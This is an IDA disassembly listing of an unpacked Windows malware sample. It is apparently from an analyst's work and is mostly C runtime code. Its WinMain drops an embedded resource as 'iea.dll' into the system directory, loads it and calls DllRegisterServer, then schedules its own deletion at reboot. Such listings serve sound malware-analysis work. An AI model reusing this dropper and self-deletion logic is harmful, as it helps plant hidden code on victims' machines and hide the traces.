; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 6C1A753C09C8CA5FDD377D22AB5A56CB ; File Name : u:\work\6c1a753c09c8ca5fdd377d22ab5a56cb_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00003D58 ( 15704.) ; Section size in file : 00003D58 ( 15704.) ; Offset to raw data for section: 00001000 ; Flags 60000020: Text Executable Readable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= sub_401000 proc near ; CODE XREF: WinMain(x,x,x,x)+6Cp arg_0 = dword ptr 4 arg_4 = word ptr 8 arg_8 = dword ptr 0Ch movzx eax, [esp+arg_4] push ebx push esi mov esi, [esp+8+arg_0] push edi push 0Ah push eax push esi call ds:dword_405018 ; FindResourceA mov edi, eax push edi push esi call ds:dword_405014 ; LoadResource push edi push esi mov ebx, eax call ds:dword_405010 ; SizeofResource push ebx mov edi, eax call ds:dword_40500C ; LockResource mov ecx, [esp+0Ch+arg_8] push 0 push 80h push 2 push 0 push 1 push 0C0000000h push ecx mov ebx, eax call ds:dword_405008 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_401074 push 0 lea edx, [esp+10h+arg_4] push edx push edi push ebx push esi call ds:dword_405004 ; WriteFile test eax, eax push esi jnz short loc_40107A call ds:dword_405000 ; CloseHandle loc_401074: ; CODE XREF: sub_401000+57j pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_40107A: ; CODE XREF: sub_401000+6Cj call ds:dword_405000 ; CloseHandle pop edi pop esi mov al, 1 pop ebx retn sub_401000 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; int __stdcall WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd) _WinMain@16 proc near ; CODE XREF: start+186p var_310 = byte ptr -310h var_20C = byte ptr -20Ch var_108 = byte ptr -108h var_4 = dword ptr -4 hInstance = dword ptr 4 hPrevInstance = dword ptr 8 lpCmdLine = dword ptr 0Ch nShowCmd = dword ptr 10h sub esp, 310h mov eax, dword_407030 push esi mov [esp+314h+var_4], eax push 104h lea eax, [esp+318h+var_108] push eax push 0 call ds:dword_405038 ; GetModuleFileNameA push 104h lea ecx, [esp+318h+var_20C] push ecx call ds:dword_405034 ; GetSystemDirectoryA push 104h lea edx, [esp+318h+var_20C] push edx lea eax, [esp+31Ch+var_310] push eax call ds:dword_405030 ; lstrcpyn push offset aIea_dll ; "\\iea.dll" lea ecx, [esp+318h+var_310] push ecx call ds:dword_40502C ; lstrcat lea edx, [esp+314h+var_310] push edx push 65h push 0 call sub_401000 add esp, 0Ch lea eax, [esp+314h+var_310] push eax call ds:dword_405028 ; LoadLibraryA mov esi, eax push offset aDllregisterser ; "DllRegisterServer" push esi call ds:dword_405024 ; GetProcAddress test eax, eax jz short loc_401123 call eax loc_401123: ; CODE XREF: WinMain(x,x,x,x)+8Fj push esi call ds:dword_405020 ; FreeLibrary push 4 push 0 lea ecx, [esp+31Ch+var_108] push ecx call ds:dword_40501C ; MoveFileExA mov ecx, [esp+314h+var_4] xor eax, eax pop esi call sub_401185 add esp, 310h retn 10h _WinMain@16 endp ; --------------------------------------------------------------------------- ; [0000001D BYTES: COLLAPSED CHUNK OF FUNCTION sub_401185. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_401171 proc near ; DATA XREF: .rdata:stru_405130o xor eax, eax inc eax retn sub_401171 endp ; =============== S U B R O U T I N E ======================================= sub_401175 proc near ; DATA XREF: .rdata:stru_405130o mov esp, [ebp-18h] sub_401175 endp ; sp-analysis failed ; [0000000D BYTES: COLLAPSED CHUNK OF FUNCTION sub_401185. PRESS KEYPAD "+" TO EXPAND] ; [0000000E BYTES: COLLAPSED FUNCTION sub_401185. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] pop ecx pop ecx retn ; [000001DC BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND] ; [00000066 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ___security_error_handler: ; CODE XREF: sub_401185-1Dp push 118h push offset stru_405338 call __SEH_prolog mov eax, dword_407030 mov [ebp-1Ch], eax mov eax, dword_4072AC xor ecx, ecx cmp eax, ecx jz short loc_40143B mov [ebp-4], ecx push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call eax pop ecx pop ecx ; START OF FUNCTION CHUNK FOR sub_401436 loc_401429: ; CODE XREF: sub_401436+3j or dword ptr [ebp-4], 0FFFFFFFFh jmp loc_40153A ; END OF FUNCTION CHUNK FOR sub_401436 ; =============== S U B R O U T I N E ======================================= sub_401432 proc near ; DATA XREF: .rdata:stru_405338o xor eax, eax inc eax retn sub_401432 endp ; =============== S U B R O U T I N E ======================================= sub_401436 proc near ; DATA XREF: .rdata:stru_405338o ; FUNCTION CHUNK AT 00401429 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0040153A SIZE 00000007 BYTES mov esp, [ebp-18h] jmp short loc_401429 sub_401436 endp ; --------------------------------------------------------------------------- loc_40143B: ; CODE XREF: .text:0040141Aj mov eax, [ebp+8] dec eax jz short loc_401457 mov edi, offset aUnknownSecurit ; "Unknown security failure detected!" mov dword ptr [ebp-128h], offset aASecurityError ; "A security error of unknown cause has b"... mov esi, 0D4h jmp short loc_40146B ; --------------------------------------------------------------------------- loc_401457: ; CODE XREF: .text:0040143Fj mov edi, offset aBufferOverrunD ; "Buffer overrun detected!" mov dword ptr [ebp-128h], offset aABufferOverrun ; "A buffer overrun has been detected whic"... mov esi, 0B9h loc_40146B: ; CODE XREF: .text:00401455j mov [ebp-20h], cl push 104h lea eax, [ebp-124h] push eax push ecx call ds:dword_405038 ; GetModuleFileNameA test eax, eax jnz short loc_401498 push offset Source ; "<program name unknown>" lea eax, [ebp-124h] push eax call _strcpy pop ecx pop ecx loc_401498: ; CODE XREF: .text:00401483j lea ebx, [ebp-124h] mov eax, ebx push eax call _strlen pop ecx add eax, 0Bh cmp eax, 3Ch jbe short loc_4014D4 mov eax, ebx push eax call _strlen mov ebx, eax lea eax, [ebp-124h] sub eax, 31h add ebx, eax push 3 push offset a___ ; "..." push ebx call _strncpy add esp, 10h loc_4014D4: ; CODE XREF: .text:004014ADj push ebx call _strlen pop ecx lea eax, [eax+esi+0Ch] add eax, 3 and eax, 0FFFFFFFCh call __alloca_probe mov [ebp-18h], esp mov esi, esp push edi push esi call _strcpy mov edi, offset asc_405180 ; "\n\n" push edi push esi call _strcat push offset aProgram ; "Program: " push esi call _strcat push ebx push esi call _strcat push edi push esi call _strcat push dword ptr [ebp-128h] push esi call _strcat push 12010h push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push esi call ___crtMessageBoxA add esp, 3Ch ; START OF FUNCTION CHUNK FOR sub_401436 loc_40153A: ; CODE XREF: sub_401436-9j push 3 ; Code call __exit ; END OF FUNCTION CHUNK FOR sub_401436 ; --------------------------------------------------------------------------- align 4 ; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; [000000E6 BYTES: COLLAPSED FUNCTION __except_handler3. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind(x). PRESS KEYPAD "+" TO EXPAND] ; [00000030 BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND] ; [0000006A BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] ; [000000C1 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _exit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND] ; [00000177 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] ; [00000171 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] ; [000000C7 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] ; [0000016C BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] ; [000000A2 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] ; [00000122 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402154 proc near ; CODE XREF: start:loc_4012ABp var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_405728 call __SEH_prolog mov [ebp+var_1C], offset dword_405DBC loc_402167: ; CODE XREF: sub_402154+3Cj cmp [ebp+var_1C], offset dword_405DBC jnb short loc_402192 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_402188 call eax jmp short loc_402188 ; --------------------------------------------------------------------------- loc_402181: ; DATA XREF: .rdata:stru_405728o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_402185: ; DATA XREF: .rdata:stru_405728o mov esp, [ebp+ms_exc.old_esp] loc_402188: ; CODE XREF: sub_402154+27j ; sub_402154+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_402167 ; --------------------------------------------------------------------------- loc_402192: ; CODE XREF: sub_402154+1Aj call __SEH_epilog retn sub_402154 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; void __cdecl sub_402198() sub_402198 proc near ; DATA XREF: __cinit:loc_401704o var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset stru_405738 call __SEH_prolog mov [ebp+var_1C], offset dword_405DC4 loc_4021AB: ; CODE XREF: sub_402198+3Cj cmp [ebp+var_1C], offset dword_405DC4 jnb short loc_4021D6 and [ebp+ms_exc.disabled], 0 mov eax, [ebp+var_1C] mov eax, [eax] test eax, eax jz short loc_4021CC call eax jmp short loc_4021CC ; --------------------------------------------------------------------------- loc_4021C5: ; DATA XREF: .rdata:stru_405738o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_4021C9: ; DATA XREF: .rdata:stru_405738o mov esp, [ebp+ms_exc.old_esp] loc_4021CC: ; CODE XREF: sub_402198+27j ; sub_402198+2Bj or [ebp+ms_exc.disabled], 0FFFFFFFFh add [ebp+var_1C], 4 jmp short loc_4021AB ; --------------------------------------------------------------------------- loc_4021D6: ; CODE XREF: sub_402198+1Aj call __SEH_epilog retn sub_402198 endp ; [0000001A BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND] ; [00000051 BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003D BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND] ; [000000F9 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000007 BYTES: COLLAPSED FUNCTION _strcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E8 BYTES: COLLAPSED FUNCTION _strcat. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000124 BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler. PRESS KEYPAD "+" TO EXPAND] ; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- __NLG_Notify1: push ebx push ecx mov ebx, offset dword_407170 jmp short loc_40272C ; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO EXPAND] ; [00000229 BYTES: COLLAPSED FUNCTION __ValidateEH3RN. PRESS KEYPAD "+" TO EXPAND] ; [00000082 BYTES: COLLAPSED FUNCTION __onexit. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION ___onexitinit. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] ; [0000018C BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] ; [000001E6 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION _free. PRESS KEYPAD "+" TO EXPAND] ; [00000046 BYTES: COLLAPSED FUNCTION __heap_alloc. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __nh_malloc. PRESS KEYPAD "+" TO EXPAND] ; [00000012 BYTES: COLLAPSED FUNCTION _malloc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy. PRESS KEYPAD "+" TO EXPAND] ; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] ; [00000318 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND] ; [000000B7 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] ; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] ; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] ; [000002FC BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] ; [00000162 BYTES: COLLAPSED FUNCTION _realloc. PRESS KEYPAD "+" TO EXPAND] ; [00000038 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+" TO EXPAND] ; [000003BC BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] ; [000001BA BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000033D BYTES: COLLAPSED FUNCTION _memcpy_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000060 BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] ; [00000043 BYTES: COLLAPSED FUNCTION ___ansicp. PRESS KEYPAD "+" TO EXPAND] ; [000001C9 BYTES: COLLAPSED FUNCTION ___convertcp. PRESS KEYPAD "+" TO EXPAND] ; [000000E3 BYTES: COLLAPSED FUNCTION __resetstkoflw. PRESS KEYPAD "+" TO EXPAND] ; [0000007B BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+" TO EXPAND] ; [00000058 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] ; [00000090 BYTES: COLLAPSED FUNCTION __ismbcspace. PRESS KEYPAD "+" TO EXPAND] align 10h __allmul: mov eax, [esp+8] mov ecx, [esp+10h] or ecx, eax mov ecx, [esp+0Ch] jnz short loc_404CB9 mov eax, [esp+4] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_404CB9: ; CODE XREF: .text:00404CAEj push ebx mul ecx mov ebx, eax mov eax, [esp+8] mul dword ptr [esp+14h] add ebx, eax mov eax, [esp+8] mul ecx add edx, ebx pop ebx retn 10h ; [0000007E BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_404D52 proc near ; CODE XREF: __global_unwind2+13p jmp ds:dword_4050A4 sub_404D52 endp _text ends ; Section 2. (virtual address 00005000) ; Virtual size : 000012EE ( 4846.) ; Section size in file : 000012EE ( 4846.) ; Offset to raw data for section: 00005000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 405000h dword_405000 dd 77E77963h ; DATA XREF: sub_401000+6Er ; sub_401000:loc_40107Ar dword_405004 dd 77E79D8Ch ; DATA XREF: sub_401000+63r ; __NMSG_WRITE+155r dword_405008 dd 77E7A837h ; DATA XREF: sub_401000+4Cr dword_40500C dd 77E7C931h ; DATA XREF: sub_401000+2Dr dword_405010 dd 77E7105Fh ; DATA XREF: sub_401000+24r dword_405014 dd 77E760B5h ; DATA XREF: sub_401000+1Ar dword_405018 dd 77E6CA8Ah ; DATA XREF: sub_401000+10r dword_40501C dd 77E645E4h ; DATA XREF: WinMain(x,x,x,x)+A6r dword_405020 dd 77E80618h ; DATA XREF: WinMain(x,x,x,x)+94r dword_405024 dd 77E7A5FDh ; DATA XREF: WinMain(x,x,x,x)+87r ; unknown_libname_1+15r ... dword_405028 dd 77E805D8h ; DATA XREF: WinMain(x,x,x,x)+79r ; ___crtMessageBoxA+18r dword_40502C dd 77E74155h ; DATA XREF: WinMain(x,x,x,x)+5Dr dword_405030 dd 77E73BEFh ; DATA XREF: WinMain(x,x,x,x)+4Dr dword_405034 dd 77E704FCh ; DATA XREF: WinMain(x,x,x,x)+35r dword_405038 dd 77E7A099h ; DATA XREF: WinMain(x,x,x,x)+22r ; .text:0040147Br ... dword_40503C dd 77E75CB5h ; DATA XREF: sub_401185-7r ; unknown_libname_1+29r dword_405040 dd 77E79F93h ; DATA XREF: start+6Dr ; unknown_libname_1+5r dword_405044 dd 77E6177Ah ; DATA XREF: start+160r __ioinit+57r dword_405048 dd 77E7C938h ; DATA XREF: start:loc_4012C4r dword_40504C dd 77E7C657h ; DATA XREF: start+20r dword_405050 dd 77E802FCh ; DATA XREF: ___security_init_cookie+43r dword_405054 dd 77E7751Ah ; DATA XREF: ___security_init_cookie+37r dword_405058 dd 77E77CC4h ; DATA XREF: ___security_init_cookie+2Fr dword_40505C dd 77E80656h ; DATA XREF: ___security_init_cookie+27r dword_405060 dd 77E6167Bh ; DATA XREF: ___security_init_cookie+1Br dword_405064 dd 77E616B4h ; DATA XREF: _doexit+1Ar dword_405068 dd 77E79C90h ; DATA XREF: _doexit+13r dword_40506C dd 77E79C3Dh ; DATA XREF: __NMSG_WRITE+14Er ; __ioinit+157r dword_405070 dd 77EB9A84h ; DATA XREF: __XcptFilter+167r dword_405074 dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+113r dword_405078 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_401F5Er dword_40507C dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+C1r dword_405080 dd 77E79924h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_401EF6r ; ___crtLCMapStringA+22Dr ... dword_405084 dd 77F5157Dh ; DATA XREF: ___crtGetEnvironmentStringsA:loc_401EB7r ; ___crtLCMapStringA:loc_403F43r ... dword_405088 dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA+Br dword_40508C dd 77E7C931h ; DATA XREF: __ioinit+19Cr dword_405090 dd 77E78406h ; DATA XREF: __ioinit+FEr ; __ioinit+165r dword_405094 dd 77E76E0Bh ; DATA XREF: __heap_init+44r dword_405098 dd 77E7C726h ; DATA XREF: __heap_init+11r dword_40509C dd 77E79E34h ; DATA XREF: ___sbh_free_block+22Fr dword_4050A0 dd 77F51597h ; DATA XREF: _free+30r ; ___sbh_free_block+2B4r ... dword_4050A4 dd 77F6183Eh ; DATA XREF: sub_404D52r dword_4050A8 dd 77E775F1h ; DATA XREF: __ValidateEH3RN+131r ; __ValidateEH3RN+196r ... dword_4050AC dd 77E7F044h ; DATA XREF: __ValidateEH3RN+B3r ; __resetstkoflw+1Ar ... dword_4050B0 dd 77E7A13Fh ; DATA XREF: __setmbcp+42r dword_4050B4 dd 77E6C703h ; DATA XREF: __setmbcp+2Br dword_4050B8 dd 77E7849Fh ; DATA XREF: _setSBUpLow+1Cr ; __setmbcp+93r ... dword_4050BC dd 77F516F8h ; DATA XREF: __heap_alloc+3Er ; ___sbh_heap_init+Dr ... dword_4050C0 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+7Er ; ___sbh_alloc_new_group+52r ... dword_4050C4 dd 77F5722Fh ; DATA XREF: ___sbh_alloc_new_region+27r ; _realloc+FDr ... dword_4050C8 dd 77F522F2h ; DATA XREF: __msize+30r dword_4050CC dd 77E77405h ; DATA XREF: ___crtLCMapStringA+2C3r ; ___crtLCMapStringA+344r ... dword_4050D0 dd 77E77CCEh ; DATA XREF: ___crtLCMapStringA+C0r ; ___crtLCMapStringA+141r ... dword_4050D4 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA+27r ; ___crtLCMapStringA+15Br ... dword_4050D8 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA+19Cr dword_4050DC dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA+24r ; ___crtGetStringTypeA+128r dword_4050E0 dd 77E7513Ch ; DATA XREF: ___ansicp+20r dword_4050E4 dd 77E6169Ah ; DATA XREF: __resetstkoflw+D5r dword_4050E8 dd 77E7C3A5h ; DATA XREF: __resetstkoflw+2Br dd 2 dup(0) aF db '#`(F',0 align 4 dd 2, 52h, 2 dup(5D50h) aDllregisterser db 'DllRegisterServer',0 ; DATA XREF: WinMain(x,x,x,x)+81o align 10h aIea_dll db '\iea.dll',0 ; DATA XREF: WinMain(x,x,x,x)+53o align 10h stru_405130 _msEH <0FFFFFFFFh, offset sub_401171, offset sub_401175> ; DATA XREF: sub_401185-2Fo align 10h stru_405140 _msEH <0FFFFFFFFh, offset loc_40135A, offset loc_40136E> ; DATA XREF: start+2o aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: .text:0040152Co ; __NMSG_WRITE+123o align 4 aProgram db 'Program: ',0 ; DATA XREF: .text:00401502o align 10h ; char asc_405180[] asc_405180 db 0Ah ; DATA XREF: .text:004014F6o ; __NMSG_WRITE+107o db 0Ah,0 align 4 ; char a___[] a___ db '...',0 ; DATA XREF: .text:004014C6o ; __NMSG_WRITE+C1o ; char Source[] Source db '<program name unknown>',0 ; DATA XREF: .text:00401485o ; __NMSG_WRITE+8Eo align 10h aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra' ; DATA XREF: .text:0040145Co db 'm',27h,'s',0Ah db 'internal state. The program cannot safely continue execution and' db ' must',0Ah db 'now be terminated.',0Ah,0 aBufferOverrunD db 'Buffer overrun detected!',0 ; DATA XREF: .text:loc_401457o align 10h aASecurityError db 'A security error of unknown cause has been detected which has',0Ah ; DATA XREF: .text:00401446o db 'corrupted the program',27h,'s internal state. The program cannot sa' db 'fely',0Ah db 'continue execution and must now be terminated.',0Ah,0 align 4 aUnknownSecurit db 'Unknown security failure detected!',0 ; DATA XREF: .text:00401441o align 4 stru_405338 _msEH <0FFFFFFFFh, offset sub_401432, offset sub_401436> ; DATA XREF: .text:004013FFo aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: unknown_libname_1+Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: unknown_libname_1o aRuntimeError db 'runtime error ',0 align 10h db 0Dh,0Ah,0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 8 aR6029ThisAppli db 'R6029',0Dh,0Ah db '- This application cannot run using the active version of the Mic' db 'rosoft .NET Runtime',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aThisApplicatio db 0Dh,0Ah db 'This application has requested the Runtime to terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_407044o db '- floating point not loaded',0Dh,0Ah,0 align 4 ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o db 0Ah db 'Program: ',0 word_405722 dw 0 ; DATA XREF: __wincmdln+1Bo align 8 stru_405728 _msEH <0FFFFFFFFh, offset loc_402181, offset loc_402185> ; DATA XREF: sub_402154+2o align 8 stru_405738 _msEH <0FFFFFFFFh, offset loc_4021C5, offset loc_4021C9> ; DATA XREF: sub_402198+2o aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+3Fo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+2Eo aUser32_dll db 'user32.dll',0 ; DATA XREF: ___crtMessageBoxA+13o align 4 dd 41h dup(0) asc_4058B8: ; DATA XREF: .data:off_407280o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) dword_405AB8 dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h ; DATA XREF: .data:00407284o dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h) dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h) dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h) dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 